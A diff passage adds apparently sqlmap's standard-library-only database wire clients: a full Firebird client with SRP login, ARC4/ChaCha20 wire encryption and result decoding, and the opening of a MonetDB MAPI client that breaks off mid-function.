+_isc_tpb_rec_version = 17
+
+# isc_info_sql_* describe items
+_isc_info_end = 1
+_isc_info_truncated = 2
+_isc_info_sql_select = 4
+_isc_info_sql_describe_vars = 7
+_isc_info_sql_describe_end = 8
+_isc_info_sql_sqlda_seq = 9
+_isc_info_sql_type = 11
+_isc_info_sql_sub_type = 12
+_isc_info_sql_scale = 13
+_isc_info_sql_length = 14
+_isc_info_sql_null_ind = 15
+_isc_info_sql_field = 16
+_isc_info_sql_relation = 17
+_isc_info_sql_owner = 18
+_isc_info_sql_alias = 19
+_isc_info_sql_sqlda_start = 20
+_isc_info_sql_stmt_type = 21
+_INFO_SQL_SELECT_DESCRIBE_VARS = bytes(bytearray([
+    _isc_info_sql_select, _isc_info_sql_describe_vars, _isc_info_sql_sqlda_seq,
+    _isc_info_sql_type, _isc_info_sql_sub_type, _isc_info_sql_scale, _isc_info_sql_length,
+    _isc_info_sql_null_ind, _isc_info_sql_field, _isc_info_sql_relation, _isc_info_sql_owner,
+    _isc_info_sql_alias, _isc_info_sql_describe_end]))
+
+_isc_info_sql_stmt_select = 1
+_DSQL_drop = 2
+
+# SQL type codes
+_SQL_VARYING = 448
+_SQL_TEXT = 452
+_SQL_DOUBLE = 480
+_SQL_FLOAT = 482
+_SQL_LONG = 496
+_SQL_SHORT = 500
+_SQL_TIMESTAMP = 510
+_SQL_BLOB = 520
+_SQL_TIME = 560
+_SQL_DATE = 570
+_SQL_INT64 = 580
+_SQL_INT128 = 32752
+_SQL_TIMESTAMP_TZ = 32754
+_SQL_TIME_TZ = 32756
+_SQL_BOOLEAN = 32764
+_SQL_TYPE_LENGTH = {  # fixed on-the-wire length by SQL type (VARYING is length-prefixed -> -1)
+    _SQL_VARYING: -1, _SQL_SHORT: 4, _SQL_LONG: 4, _SQL_FLOAT: 4, _SQL_TIME: 4, _SQL_DATE: 4,
+    _SQL_DOUBLE: 8, _SQL_TIMESTAMP: 8, _SQL_BLOB: 8, _SQL_INT64: 8, _SQL_INT128: 16,
+    _SQL_TIMESTAMP_TZ: 12, _SQL_TIME_TZ: 8, _SQL_BOOLEAN: 1,
+}
+# per-type output BLR fragment used to describe the fetched row (see calc_blr)
+_SQL_TYPE_BLR = {
+    _SQL_DOUBLE: [27], _SQL_FLOAT: [10], _SQL_DATE: [12], _SQL_TIME: [13], _SQL_TIMESTAMP: [35],
+    _SQL_BLOB: [9, 0], _SQL_BOOLEAN: [23], _SQL_TIME_TZ: [28], _SQL_TIMESTAMP_TZ: [29],
+}
+
+# status-vector argument tags
+_isc_arg_end = 0
+_isc_arg_gds = 1
+_isc_arg_string = 2
+_isc_arg_number = 4
+_isc_arg_interpreted = 5
+_isc_arg_sql_state = 19
+_GDS_INTEGRITY = frozenset((335544838, 335544879, 335544880, 335544466, 335544665, 335544347, 335544558))
+_GDS_DATA = frozenset((335544321,))
+_GDS_WARNING = 335544434
+
+_MAX_MESSAGE_LENGTH = 0x40000000  # cap on a wire-supplied length, to bound a hostile/corrupt stream
+
+# SRP-6a group used by Firebird (fixed 1024-bit prime, generator 2)
+_SRP_N = int("E67D2E994B2F900C3F41F08F5BB2627ED0D49EE1FE767A52EFCD565CD6E768812C3E1E9CE8F0A8BEA6CB13CD29DDE"
+             "BF7A96D4A93B55D488DF099A15C89DCB0640738EB2CBDD9A8F7BAB561AB1B0DC1C6CDABF303264A08D1BCA932D1F"
+             "1EE428B619D970F342ABA9A65793B8B2F041AE5364350C16F735F56ECBCA87BD57B29E7", 16)
+_SRP_g = 2
+_SRP_k = 1277432915985975349439481660349303019122249719989
+
+def _minbe(n):
+    # minimal big-endian bytes of a non-negative integer (matches firebirdsql long2bytes/pad for these sizes)
+    out = bytearray()
+    while n > 0:
+        out.insert(0, n & 0xff)
+        n >>= 8
+    return bytes(out)
+
+def _b2l(b):
+    n = 0
+    for c in bytearray(b):
+        n = (n << 8) | c
+    return n
+
+def _sha1(*parts):
+    h = hashlib.sha1()
+    for p in parts:
+        h.update(p if isinstance(p, bytes) else _minbe(p))
+    return h.digest()
+
+def _srp_client_seed():
+    a = _b2l(os.urandom(16))  # client private key (128-bit)
+    return pow(_SRP_g, a, _SRP_N), a
+
+def _srp_client_proof(user, password, salt, A, B, a, hash_algo):
+    # session key K (always SHA-1) then the Firebird-specific proof M (SHA-1 for Srp, SHA-256 for Srp256)
+    u = _b2l(_sha1(_minbe(A), _minbe(B)))
+    x = _b2l(_sha1(salt, _sha1(user, b":", password)))
+    S = pow((B - _SRP_k * pow(_SRP_g, x, _SRP_N)) % _SRP_N, (a + u * x) % _SRP_N, _SRP_N)
+    K = _sha1(_minbe(S))
+    n1 = _b2l(_sha1(_minbe(_SRP_N)))
+    n2 = _b2l(_sha1(_minbe(_SRP_g)))
+    n1 = pow(n1, n2, _SRP_N)                     # NOTE: modular exponentiation, not XOR (Firebird quirk)
+    n2 = _b2l(_sha1(user))
+    h = hash_algo()
+    for p in (_minbe(n1), _minbe(n2), salt, _minbe(A), _minbe(B), K):
+        h.update(p)
+    return h.digest(), K
+
+class _ARC4(object):
+    def __init__(self, key):
+        s = list(range(256))
+        key = bytearray(key)
+        j = 0
+        for i in range(256):
+            j = (j + s[i] + key[i % len(key)]) & 0xff
+            s[i], s[j] = s[j], s[i]
+        self._s, self._i, self._j = s, 0, 0
+
+    def translate(self, data):
+        s, i, j, out = self._s, self._i, self._j, bytearray()
+        for c in bytearray(data):
+            i = (i + 1) & 0xff
+            j = (j + s[i]) & 0xff
+            s[i], s[j] = s[j], s[i]
+            out.append(c ^ s[(s[i] + s[j]) & 0xff])
+        self._i, self._j = i, j
+        return bytes(out)
+
+class _ChaCha20(object):
+    _SIGMA = b"expand 32-byte k"
+
+    def __init__(self, key, nonce):
+        self._nonce = nonce
+        self._counter = 0
+        block = self._SIGMA + key + self._ctr_bytes() + nonce
+        self._state = list(struct.unpack("<16L", block))
+        self._make_block()
+
+    def _ctr_bytes(self):
+        return struct.pack("<Q", self._counter)[:16 - len(self._nonce)]
+
+    def _make_block(self):
+        x = list(self._state)
+        for _ in range(10):
+            self._qr(x, 0, 4, 8, 12); self._qr(x, 1, 5, 9, 13)
+            self._qr(x, 2, 6, 10, 14); self._qr(x, 3, 7, 11, 15)
+            self._qr(x, 0, 5, 10, 15); self._qr(x, 1, 6, 11, 12)
+            self._qr(x, 2, 7, 8, 13); self._qr(x, 3, 4, 9, 14)
+        self._block = struct.pack("<16L", *[(x[i] + self._state[i]) & 0xffffffff for i in range(16)])
+        self._pos = 0
+
+    @staticmethod
+    def _qr(x, a, b, c, d):
+        def rot(v, n):
+            return ((v << n) | (v >> (32 - n))) & 0xffffffff
+        x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 16)
+        x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 12)
+        x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 8)
+        x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 7)
+
+    def translate(self, data):
+        out = bytearray()
+        block = bytearray(self._block)
+        for c in bytearray(data):
+            out.append(c ^ block[self._pos])
+            self._pos += 1
+            if self._pos == 64:
+                self._counter += 1
+                cb = self._ctr_bytes()
+                self._state[12] = struct.unpack("<L", cb[:4])[0]
+                if len(self._nonce) == 8:
+                    self._state[13] = struct.unpack("<L", cb[4:8])[0]
+                self._make_block()
+                block = bytearray(self._block)
+        return bytes(out)
+
+def _guess_wire_crypt(buf):
+    # parse the crypt-key callback (type/length/value items) -> (plugin, nonce)
+    plugins, nonces, buf, i = [], [], bytearray(buf), 0
+    while i < len(buf):
+        t, ln = buf[i], buf[i + 1]
+        v = bytes(buf[i + 2:i + 2 + ln])
+        i += 2 + ln
+        if t == 1:
+            plugins = v.split()
+        elif t == 3:
+            nonces.append(v)
+    if b"ChaCha64" in plugins:
+        for s in nonces:
+            if s[:9] == b"ChaCha64\x00":
+                return b"ChaCha64", s[9:]
+    if b"ChaCha" in plugins:
+        for s in nonces:
+            if s[:7] == b"ChaCha\x00":
+                return b"ChaCha", s[7:7 + 12]
+    if b"Arc4" in plugins:
+        return b"Arc4", None
+    return None, None
+
+class _Wire(object):
+    def __init__(self, sock):
+        self._sock = sock
+        self._rc = self._wc = None
+
+    def set_ciphers(self, rc, wc):
+        self._rc, self._wc = rc, wc
+
+    def send(self, data):
+        try:
+            self._sock.sendall(self._wc.translate(data) if self._wc else data)
+        except (socket.error, OSError) as ex:
+            raise connection_lost(ex)
+
+    def _recv_raw(self, n):
+        return recvn(self._sock, n)
+
+    def recv(self, n, align=False):
+        # every length here comes off the wire (response buffers, status strings, per-value lengths): a
+        # negative one would silently return short data, a huge one would read until memory ran out
+        if n < 0 or n > _MAX_MESSAGE_LENGTH:
+            raise InterfaceError("invalid Firebird length (%d)" % n)
+        total = n + ((4 - n % 4) % 4) if align else n
+        data = self._recv_raw(total)
+        if self._rc:
+            data = self._rc.translate(data)
+        return data[:n]
+
+    def recv_int(self):
+        return struct.unpack("!i", self.recv(4))[0]
+
+    def recv_bytes(self):
+        return self.recv(self.recv_int(), align=True)
+
+    def close(self):
+        try:
+            self._sock.close()
+        except Exception:
+            pass
+
+def _parse_response(wire):
+    head = wire.recv(16)
+    handle = struct.unpack("!i", head[:4])[0]
+    object_id = head[4:12]
+    buf = wire.recv(struct.unpack("!i", head[12:16])[0], align=True)
+    _check_status(wire)
+    return handle, object_id, buf
+
+def _check_status(wire):
+    gds, message = set(), ""
+    n = wire.recv_int()
+    while n != _isc_arg_end:
+        if n == _isc_arg_gds:
+            gds_code = wire.recv_int()
+            if gds_code:
+                gds.add(gds_code)
+        elif n == _isc_arg_number:
+            message += " %d" % wire.recv_int()
+        elif n in (_isc_arg_string, _isc_arg_interpreted, _isc_arg_sql_state):
+            s = wire.recv(wire.recv_int(), align=True)
+            if n != _isc_arg_sql_state:
+                message += " " + s.decode("utf-8", "replace")
+        n = wire.recv_int()
+    if gds:
+        message = ("(remote) firebird error %s%s" % (sorted(gds), message)).strip()
+        if gds & _GDS_INTEGRITY:
+            raise IntegrityError(message)
+        if gds & _GDS_DATA:
+            raise DataError(message)
+        if _GDS_WARNING not in gds:
+            raise OperationalError(message)
+
+def _pack_int(v):
+    return struct.pack("!i", v)
+
+def _pack_bytes(v):
+    return _pack_int(len(v)) + v + b"\x00" * ((4 - len(v) % 4) % 4)
+
+def _le(b):
+    n = 0
+    for c in reversed(bytearray(b)):
+        n = (n << 8) | c
+    return n
+
+def _le_signed(b):
+    n = _le(b)  # info-buffer scalars are little-endian; scale is signed (usually negative)
+    if b and (bytearray(b)[-1] & 0x80):
+        n -= 1 << (8 * len(b))
+    return n
+
+def _b2i_signed(b):
+    n = _b2l(b)
+    if bytearray(b) and bytearray(b)[0] & 0x80:
+        n -= 1 << (8 * len(b))
+    return n
+
+def _scaled(n, scale):
+    """
+    integer n represents n * 10**scale (scale <= 0); render as an exact decimal string
+
+    >>> _scaled(1234, -2)
+    '12.34'
+    >>> _scaled(-5, -2)
+    '-0.05'
+    >>> _scaled(5, -4)
+    '0.0005'
+    >>> _scaled(7, 0)
+    '7'
+    """
+    if scale >= 0:
+        return str(n * (10 ** scale))
+    digits = "%0*d" % (-scale + 1, abs(n))
+    return ("-" if n < 0 else "") + digits[:scale] + "." + digits[scale:]
+
+_EPOCH_DAYS = datetime.date(1858, 11, 17).toordinal()
+
+def _decode_date(raw):
+    return datetime.date.fromordinal(_EPOCH_DAYS + struct.unpack("!i", raw)[0])
+
+def _decode_time(raw):
+    n = struct.unpack("!I", raw)[0]
+    s, frac = divmod(n, 10000)
+    return datetime.time(s // 3600, (s // 60) % 60, s % 60, frac * 100)
+
+class _Column(object):
+    __slots__ = ("name", "sqltype", "subtype", "scale", "length")
+
+    def io_length(self):
+        return self.length if self.sqltype == _SQL_TEXT else _SQL_TYPE_LENGTH[self.sqltype]
+
+class Cursor(object):
+    def __init__(self, connection):
+        self.connection = connection
+        self.description = None
+        self.rowcount = -1
+        self._rows = []
+        self._pos = 0
+
+    def execute(self, query, params=None):
+        if params is not None:
+            raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
+        self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
+        self.description, self._rows = self.connection._query(query)
+        self.rowcount = len(self._rows)
+        return self
+
+    def fetchall(self):
+        retVal = self._rows[self._pos:]
+        self._pos = len(self._rows)
+        return retVal
+
+    def fetchone(self):
+        if self._pos >= len(self._rows):
+            return None
+        retVal = self._rows[self._pos]
+        self._pos += 1
+        return retVal
+
+    def close(self):
+        self._rows = []
+
+class Connection(object):
+    def __init__(self, wire, filename, user, password):
+        self._wire = wire
+        self._filename = filename
+        self._user = user
+        self._password = password
+        self._db_handle = None
+        self._trans_handle = None
+
+    def cursor(self):
+        return Cursor(self)
+
+    def commit(self):
+        if self._trans_handle is not None:
+            self._send(_pack_int(_op_commit_retaining) + _pack_int(self._trans_handle))
+            self._response()
+
+    def rollback(self):
+        if self._trans_handle is not None:
+            self._send(_pack_int(_op_rollback_retaining) + _pack_int(self._trans_handle))
+            self._response()
+
+    def close(self):
+        try:
+            if self._db_handle is not None:
+                self._send(_pack_int(_op_detach) + _pack_int(self._db_handle))
+                self._response()
+        except Exception:
+            pass
+        self._wire.close()
+
+    # ---- wire helpers ----
+
+    def _send(self, data):
+        self._wire.send(data)
+
+    def _response(self):
+        op = self._wire.recv_int()
+        while op == _op_dummy:
+            op = self._wire.recv_int()
+        if op != _op_response:
+            raise OperationalError("unexpected Firebird operation %d" % op)
+        return _parse_response(self._wire)
+
+    # ---- query ----
+
+    def _query(self, query):
+        try:
+            return self._run(query)
+        except (struct.error, IndexError, ValueError, KeyError) as ex:
+            raise InterfaceError("malformed server response: %s" % ex)
+
+    def _run(self, query):
+        qbytes = query.encode("utf-8")
+        self._send(_pack_int(_op_allocate_statement) + _pack_int(self._db_handle))
+        stmt = self._response()[0]
+
+        try:
+            desc_items = bytes(bytearray([_isc_info_sql_stmt_type])) + _INFO_SQL_SELECT_DESCRIBE_VARS
+            self._send(_pack_int(_op_prepare_statement) + _pack_int(self._trans_handle) + _pack_int(stmt) +
+                       _pack_int(3) + _pack_bytes(qbytes) + _pack_bytes(desc_items) + _pack_int(1024))
+            buf = self._response()[2]
+            stmt_type, columns = self._parse_describe(stmt, buf)
+
+            exec_msg = (_pack_int(_op_execute) + _pack_int(stmt) + _pack_int(self._trans_handle) +
+                        _pack_bytes(b"") + _pack_int(0) + _pack_int(0) + _pack_int(0))
+            self._send(exec_msg)
+            self._response()
+
+            description, rows = None, []
+            if stmt_type == _isc_info_sql_stmt_select and columns:
+                description = [(c.name, c.sqltype, None, None, None, None, None) for c in columns]
+                rows = self._fetch(stmt, columns)
+        finally:
+            # release the server-side handle even when prepare/execute/fetch raised: a connection that
+            # survives a few failed statements would otherwise hold every one of them until it detaches
+            try:
+                self._send(_pack_int(_op_free_statement) + _pack_int(stmt) + _pack_int(_DSQL_drop))
+                self._response()
+            except Exception:
+                pass
+
+        # dbwire statements are autonomous (see README), but Firebird has no auto-commit mode: everything
+        # runs inside the one transaction opened at attach. Without this, DML is lost when the caller
+        # closes the connection without an explicit commit(). commit-retaining makes the work durable and
+        # keeps the transaction handle valid, so the connection stays usable for the next statement.
+        self.commit()
+        return description, rows
+
+    def _parse_describe(self, stmt, buf):
+        stmt_type, columns = None, []
+        i = 0
+        while i < len(buf):
+            if bytearray(buf[i:i + 3]) == bytearray([_isc_info_sql_stmt_type, 4, 0]):
+                stmt_type = _le(buf[i + 3:i + 7])
+                i += 7
+            elif bytearray(buf[i:i + 2]) == bytearray([_isc_info_sql_select, _isc_info_sql_describe_vars]):
+                i += 2
+                ln = _le(buf[i:i + 2]); i += 2
+                count = _le(buf[i:i + ln]); i += ln
+                columns = [_Column() for _ in range(count)]
+                next_index = self._parse_items(buf[i:], columns)
+                while next_index > 0:  # describe buffer truncated: request the remaining columns
+                    self._send(_pack_int(_op_info_sql) + _pack_int(stmt) + _pack_int(0) + _pack_bytes(
+                        bytes(bytearray([_isc_info_sql_sqlda_start, 2])) + struct.pack("<H", next_index) +
+                        _INFO_SQL_SELECT_DESCRIBE_VARS) + _pack_int(1024))
+                    more = self._response()[2]
+                    ln = _le(more[2:4])
+                    next_index = self._parse_items(more[4 + ln:], columns)
+                break
+            else:
+                break
+        return stmt_type, columns
+
+    def _parse_items(self, buf, columns):
+        index, i = 0, 0
+        buf = bytearray(buf)
+        while i < len(buf):
+            item = buf[i]
+            if item == _isc_info_end:
+                break
+            if item == _isc_info_truncated:
+                return index  # continue from here in another round
+            if item == _isc_info_sql_describe_end:
+                i += 1
+                continue
+            ln = _le(buf[i + 1:i + 3])
+            value = buf[i + 3:i + 3 + ln]
+            if item == _isc_info_sql_sqlda_seq:
+                index = _le(value)
+            elif item == _isc_info_sql_type:
+                columns[index - 1].sqltype = _le(value) & ~1
+            elif item == _isc_info_sql_sub_type:
+                columns[index - 1].subtype = _le(value)
+            elif item == _isc_info_sql_scale:
+                columns[index - 1].scale = _le_signed(value)
+            elif item == _isc_info_sql_length:
+                columns[index - 1].length = _le(value)
+            elif item == _isc_info_sql_alias:
+                columns[index - 1].name = value.decode("utf-8", "replace")
+            elif item == _isc_info_sql_field and not getattr(columns[index - 1], "name", None):
+                columns[index - 1].name = value.decode("utf-8", "replace")
+            i += 3 + ln
+        return -1
+
+    def _calc_blr(self, columns):
+        ln = len(columns) * 2
+        blr = [5, 2, 4, 0, ln & 0xff, ln >> 8]
+        for c in columns:
+            t = c.sqltype
+            if t == _SQL_VARYING:
+                blr += [37, c.length & 0xff, c.length >> 8]
+            elif t == _SQL_TEXT:
+                blr += [14, c.length & 0xff, c.length >> 8]
+            elif t == _SQL_LONG:
+                blr += [8, c.scale]
+            elif t == _SQL_SHORT:
+                blr += [7, c.scale]
+            elif t == _SQL_INT64:
+                blr += [16, c.scale]
+            elif t == _SQL_INT128:
+                blr += [26, c.scale]
+            else:
+                blr += _SQL_TYPE_BLR[t]
+            blr += [7, 0]
+        blr += [255, 76]
+        return bytes(bytearray((256 + b) if b < 0 else b for b in blr))
+
+    def _fetch(self, stmt, columns):
+        blr = self._calc_blr(columns)
+        nbytes = (len(columns) + 7) // 8
+        blob_cols = [i for i, c in enumerate(columns) if c.sqltype == _SQL_BLOB]
+        rows = []
+        more = True
+        while more:
+            self._send(_pack_int(_op_fetch) + _pack_int(stmt) + _pack_bytes(blr) + _pack_int(0) + _pack_int(400))
+            op = self._wire.recv_int()
+            while op == _op_dummy:
+                op = self._wire.recv_int()
+            if op != _op_fetch_response:
+                if op == _op_response:
+                    _parse_response(self._wire)
+                raise OperationalError("unexpected Firebird operation %d during fetch" % op)
+            status = self._wire.recv_int()
+            count = self._wire.recv_int()
+            while count:
+                null_bitmap = _le(self._wire.recv(nbytes, align=True))
+                row = []
+                for i, col in enumerate(columns):
+                    if null_bitmap & (1 << i):
+                        row.append(None)
+                        continue
+                    io = col.io_length()
+                    ln = self._wire.recv_int() if io < 0 else io
+                    raw = self._wire.recv(ln, align=True)
+                    # blob columns yield an 8-byte blob id; resolve AFTER the fetch batch is fully drained
+                    # (a blob sub-request mid-batch would interleave with the still-streaming rows and desync)
+                    row.append(raw if col.sqltype == _SQL_BLOB else self._decode(col, raw))
+                rows.append(row)
+                op = self._wire.recv_int()
+                status = self._wire.recv_int()
+                count = self._wire.recv_int()
+            more = status != 100
+        for i in blob_cols:
+            for row in rows:
+                if row[i] is not None:
+                    row[i] = self._read_blob(row[i], columns[i].subtype)
+        return [tuple(row) for row in rows]
+
+    def _decode(self, col, raw):
+        t = col.sqltype
+        if t == _SQL_TEXT:
+            return self._decode_text(raw, rstrip=True)
+        if t == _SQL_VARYING:
+            return self._decode_text(raw, rstrip=False)
+        if t in (_SQL_SHORT, _SQL_LONG, _SQL_INT64, _SQL_INT128):
+            n = _b2i_signed(raw)
+            return _scaled(n, col.scale) if col.scale else str(n)
+        if t == _SQL_FLOAT:
+            return repr(struct.unpack("!f", raw)[0])
+        if t == _SQL_DOUBLE:
+            return repr(struct.unpack("!d", raw)[0])
+        if t == _SQL_BOOLEAN:
+            return "true" if bytearray(raw)[0] else "false"
+        if t == _SQL_DATE:
+            return "%s" % _decode_date(raw)
+        if t == _SQL_TIME:
+            return "%s" % _decode_time(raw)
+        if t == _SQL_TIMESTAMP:
+            return "%s %s" % (_decode_date(raw[:4]), _decode_time(raw[4:]))
+        if t == _SQL_BLOB:
+            return self._read_blob(raw, col.subtype)
+        return raw  # unknown/decimal-float type -> raw bytes (sqlmap hex-encodes)
+
+    def _decode_text(self, raw, rstrip):
+        try:
+            s = raw.decode("utf-8")
+        except UnicodeDecodeError:
+            return raw  # OCTETS / binary text -> bytes (sqlmap hex-encodes)
+        return s.rstrip(" ") if rstrip else s
+
+    def _read_blob(self, blob_id, subtype):
+        self._send(_pack_int(_op_open_blob2) + _pack_int(0) + _pack_int(self._trans_handle) + blob_id)
+        blob_handle = self._response()[0]
+        data = b""
+        while True:
+            self._send(_pack_int(_op_get_segment) + _pack_int(blob_handle) + _pack_int(1024) + _pack_int(0))
+            seg_status, _, buf = self._response()
+            buf = bytearray(buf)
+            j = 0
+            while j < len(buf):
+                seg_len = _le(buf[j:j + 2])
+                data += bytes(buf[j + 2:j + 2 + seg_len])
+                j += 2 + seg_len
+            if seg_status == 2:  # last segment
+                break
+        self._send(_pack_int(_op_close_blob) + _pack_int(blob_handle))
+        self._response()
+        if subtype == 1:
+            try:
+                return data.decode("utf-8")
+            except UnicodeDecodeError:
+                return data
+        return data
+
+def _uid(user, plugin, plugin_list, public_key, wire_crypt):
+    def param(k, v):
+        if k != _CNCT_specific_data:
+            return bytes(bytearray([k, len(v)])) + v
+        out, i = b"", 0
+        while len(v) > 254:
+            out += bytes(bytearray([k, 255, i])) + v[:254]
+            v = v[254:]
+            i += 1
+        return out + bytes(bytearray([k, len(v) + 1, i])) + v
+
+    try:
+        os_user = os.environ.get("USER", "") or os.environ.get("USERNAME", "")
+    except Exception:
+        os_user = ""
+    specific = _hex(_minbe(public_key))
+    r = param(_CNCT_login, user.encode("utf-8"))
+    r += param(_CNCT_plugin_name, plugin)
+    r += param(_CNCT_plugin_list, plugin_list)
+    r += param(_CNCT_specific_data, specific)
+    r += param(_CNCT_client_crypt, b"\x01\x00\x00\x00" if wire_crypt else b"\x00\x00\x00\x00")
+    r += param(_CNCT_user, os_user.encode("utf-8"))
+    r += param(_CNCT_host, socket.gethostname().encode("utf-8", "replace"))
+    r += param(_CNCT_user_verification, b"")
+    return r
+
+def _hex(b):
+    return "".join("%02x" % c for c in bytearray(b)).encode("ascii")
+
+# protocol version tuples (version, arch=Generic 1, min_type=0, max_type=batch_send 3, weight); max_type is
+# deliberately capped at 3 (not lazy_send 5) so every operation gets an immediate response (no deferred handles)
+_PROTOCOLS = ("0000000a00000001000000000000000300000002",
+              "ffff800b00000001000000000000000300000004",
+              "ffff800c00000001000000000000000300000006",
+              "ffff800d00000001000000000000000300000008",
+              "ffff800e0000000100000000000000030000000a",
+              "ffff800f0000000100000000000000030000000c",
+              "ffff80100000000100000000000000030000000e",
+              "ffff801100000001000000000000000300000010")
+
+def connect(host=None, port=3050, user=None, password=None, database=None, connect_timeout=None, **kwargs):
+    user = user or "SYSDBA"
+    password = password or ""
+    filename = (database or "").encode("utf-8")
+    plugin, plugin_list = b"Srp256", b"Srp256,Srp,Legacy_Auth"
+
+    try:
+        sock = socket.create_connection((host or "localhost", int(port or 3050)), timeout=connect_timeout)
+        keepalive(sock)
+    except (socket.error, socket.timeout) as ex:
+        raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
+
+    wire = _Wire(sock)
+    try:
+        public_key, private_key = _srp_client_seed()
+        packet = (_pack_int(_op_connect) + _pack_int(_op_attach) + _pack_int(3) + _pack_int(1) +
+                  _pack_bytes(filename) + _pack_int(len(_PROTOCOLS)) +
+                  _pack_bytes(_uid(user, plugin, plugin_list, public_key, True)))
+        for p in _PROTOCOLS:
+            packet += _unhex(p)
+        wire.send(packet)
+
+        _authenticate(wire, user, password, public_key, private_key)
+        connection = Connection(wire, filename, user, password)
+        _attach(connection, wire, user)
+        handshake_done(sock)
+    except (DatabaseError, InterfaceError):
+        wire.close()
+        raise
+    except Exception as ex:
+        wire.close()
+        raise OperationalError("Firebird login failed (%s)" % ex)
+    return connection
+
+def _unhex(s):
+    return bytes(bytearray(int(s[i:i + 2], 16) for i in range(0, len(s), 2)))
+
+def _normalize_user(user):
+    if len(user) >= 2 and user[0] == '"' and user[-1] == '"':
+        return user[1:-1].replace('""', '"')
+    return user.upper()
+
+def _authenticate(wire, user, password, public_key, private_key):
+    op = wire.recv_int()
+    while op == _op_dummy:
+        op = wire.recv_int()
+    if op == _op_reject:
+        raise OperationalError("Firebird connection rejected")
+    if op == _op_response:
+        _parse_response(wire)  # will raise the server error
+        raise OperationalError("Firebird connection rejected")
+
+    wire.recv(12)  # accept block: protocol version / architecture / type (not needed once lazy-send is off)
+    if op == _op_accept:
+        return b""  # plaintext, no encryption negotiated
+
+    data = wire.recv_bytes()
+    plugin_name = wire.recv_bytes()
+    wire.recv_int()          # is_authenticated
+    wire.recv_bytes()        # keys
+    if plugin_name not in (b"Srp256", b"Srp"):
+        raise NotSupportedError("unsupported Firebird auth plugin %r" % plugin_name)
+    if not data:
+        raise OperationalError("Firebird server sent no SRP challenge")
+
+    salt_len = _le(data[:2])
+    salt = data[2:2 + salt_len]
+    # the server sends B as a hex integer, dropping a leading zero nibble when its top nibble is 0 (odd-length
+    # hex ~5% of the time) - parse it as an integer, which is length-agnostic (byte-pairing would corrupt it)
+    server_public = int(data[4 + salt_len:].decode("ascii"), 16)
+    hash_algo = hashlib.sha256 if plugin_name == b"Srp256" else hashlib.sha1
+    proof, session_key = _srp_client_proof(_normalize_user(user).encode("utf-8"),
+                                           password.encode("utf-8"), salt,
+                                           public_key, server_public, private_key, hash_algo)
+
+    wire.send(_pack_int(_op_cont_auth) + _pack_bytes(_hex(proof)) + _pack_bytes(plugin_name) +
+              _pack_bytes(b"Srp256,Srp,Legacy_Auth") + _pack_bytes(b""))
+    buf = _read_response(wire, user, password)
+
+    enc_plugin, nonce = _guess_wire_crypt(buf)
+    if not (enc_plugin and session_key):
+        raise NotSupportedError("Firebird server did not offer a supported wire-crypt plugin")
+    wire.send(_pack_int(_op_crypt) + _pack_bytes(enc_plugin) + _pack_bytes(b"Symmetric"))
+    if enc_plugin in (b"ChaCha", b"ChaCha64"):
+        k = hashlib.sha256(session_key).digest()
+        wire.set_ciphers(_ChaCha20(k, nonce), _ChaCha20(k, nonce))
+    elif enc_plugin == b"Arc4":
+        wire.set_ciphers(_ARC4(session_key), _ARC4(session_key))
+    else:
+        raise NotSupportedError("unsupported Firebird wire-crypt plugin %r" % enc_plugin)
+    _read_response(wire, user, password)  # first encrypted message
+    return session_key
+
+def _read_response(wire, user, password):
+    # a bare op_response reader used during the login handshake (before a Connection exists)
+    op = wire.recv_int()
+    while op == _op_dummy:
+        op = wire.recv_int()
+    if op == _op_cont_auth:
+        raise OperationalError("Firebird authentication failed")
+    if op != _op_response:
+        raise OperationalError("unexpected Firebird operation %d during login" % op)
+    return _parse_response(wire)[2]
+
+def _attach(connection, wire, user):
+    dpb = bytearray([_isc_dpb_version1])
+    dpb += bytearray([_isc_dpb_lc_ctype, 4]) + bytearray(b"UTF8")
+    ub = user.encode("utf-8")
+    dpb += bytearray([_isc_dpb_user_name, len(ub)]) + bytearray(ub)
+    dpb += bytearray([_isc_dpb_process_id, 4]) + bytearray(struct.pack("<i", os.getpid() & 0x7fffffff))
+    name = b"sqlmap"
+    dpb += bytearray([_isc_dpb_process_name, len(name)]) + bytearray(name)
+    wire.send(_pack_int(_op_attach) + _pack_int(0) + _pack_bytes(connection._filename) + _pack_bytes(bytes(dpb)))
+    connection._db_handle = connection._response()[0]
+
+    tpb = bytes(bytearray([_isc_tpb_version3, _isc_tpb_write, _isc_tpb_wait,
+                           _isc_tpb_read_committed, _isc_tpb_rec_version]))
+    wire.send(_pack_int(_op_transaction) + _pack_int(connection._db_handle) + _pack_bytes(tpb))
+    connection._trans_handle = connection._response()[0]

extra/dbwire/monetdb.py

@@ -0,0 +1,240 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python MonetDB MAPI client (stdlib only, no pymonetdb).
+
+MAPI is a block-framed text protocol: a 2-byte little-endian header (length << 1 | last-flag) wraps each
+block; login is a colon-separated challenge/response with a chosen password hash; queries are sent with an
+'s' prefix and results come back as '&' headers, '%' metadata and '[' tuples. Paging is disabled up front
+(Xreply_size -1) so a whole result set arrives at once.
+"""
+
+import hashlib
+import re
+import socket
+import struct
+
+from extra.dbwire import InterfaceError
+from extra.dbwire import NotSupportedError
+from extra.dbwire import OperationalError
+from extra.dbwire import connection_lost
+from extra.dbwire import handshake_done
+from extra.dbwire import keepalive
+from extra.dbwire import recvn
+from extra.dbwire import ProgrammingError
+
+_MAX_BLOCK = 0xffff >> 1
+_MAX_MESSAGE_LENGTH = 0x40000000  # cap on a (re-assembled) response, to bound a hostile/corrupt stream
+
+def _getblock(sock):
+    # the block length is a 15-bit field, so bounding IT is pointless - a peer that never sets the last-flag
+    # simply streams blocks forever. Bound the accumulated response instead (as the other wire modules do).
+    chunks, total = [], 0
+    while True:
+        (header,) = struct.unpack("<H", recvn(sock, 2))
+        length, last = header >> 1, header & 1
+        total += length
+        if total > _MAX_MESSAGE_LENGTH:
+            raise InterfaceError("backend message too large (%d bytes)" % total)
+        chunks.append(recvn(sock, length))
+        if last:
